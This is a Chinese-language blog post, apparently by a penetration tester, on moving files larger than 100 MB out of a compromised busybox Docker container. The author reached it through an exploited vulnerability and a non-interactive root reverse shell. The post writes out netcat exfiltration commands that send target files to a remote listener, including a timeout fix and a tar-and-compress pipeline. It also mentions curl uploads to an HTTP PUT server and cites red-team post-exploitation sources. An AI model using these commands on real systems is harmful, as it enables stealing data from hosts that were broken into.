busybox docker 受限环境下回传文件

0x00: 环境

  • 前期通过漏洞,在对方机器上执行了一段java代码,本应该反弹回来一个全交互式的shell。
  • 反弹回来发现是 root 权限,但不是一个全交互式的shell,感觉有点奇怪。
  • 执行 netstat -ano 没有任何返回,执行 netstat返回结果但是发现连接很少,不像是一个正常的 linux 环境。
  • 执行cat /proc/1/cgroup看了一下,发现是在一个 docker 环境中,顺带 ls /bin/ 看了下可执行文件,发现是一个基于 busybox 的docker环境

0x01: 问题

如何在一个基于 busyboxdocker 容器反弹出来的非全交互式shell命令行中,完成传输大二进制文件(>100M)到远程服务器的任务?

0x02: 过程

在非受限环境下上传文件到远程服务器的方法有不少,具体可见文末第二个参考链接。

在Linux环境下经常使用的一个是:

  • scp

  • 搭建一个 HTTP PUT Server,然后使用curl -T /path/to/file http://http-put-server:port/ 传输

  • nc

在非全交互式的shell环境下,scpsftp等方法都不能使用,目标环境的 busybox 中也没有curl命令。最后尝试了下 nc 命令,无回显,但是通过远程连接判断目标有 nc,查阅资料发现 busybox中默认带有精简的netcat.

于是远程主机执行

nc -l -p port > /tmp/file.bin

受限环境中执行

nc remote-ip port < /target/file.name

到这里就差不多结束了,但是传输时每次传个几M左右,连接就断掉,最后根据第一个参考链接发现可能是连接超时导致的,增加-w 5参数最终解决:

nc -w 5 remote-ip port < /target/file.name

参考链接文中还提到一种用 nc 传输压缩文件的技巧,没有测试。如果传输的文件比较多而且达到几个G,可能会有很好效果。

receiving end

nc -l -p 1234 | uncompress -c | tar xvfp -

sending end

tar cfp - /some/dir | compress -c | nc -w 3 [destination] 1234

0x03: 总结

  • 一些像注意nc传输大文件连接超时这样的小细节只有实践过可能才会知道
  • 有不少文章中提出 wget --method=PUT 可以上传文件到 HTTP PUT Server。但是我尝试了多台不同的Linux环境,发现Centos自带的wget命令并没有此选项,在Ubuntu中有此选项。这也许是实验人员习惯用 Ubuntu 进行测试发现的,但是现实环境中Centos作为服务器部署应用较多,这条命令其实很少有机会用到。像这样的小细节,如果没有在文章中指出,就可以粗略的判断作者可能没有进行过足够的实践或者说文章主要是抄袭来的。

0x04: 参考链接:

  1. using-netcat-for-file-transfers
  2. Red Team Post Exploitation File Transfer Tips

标签 

评论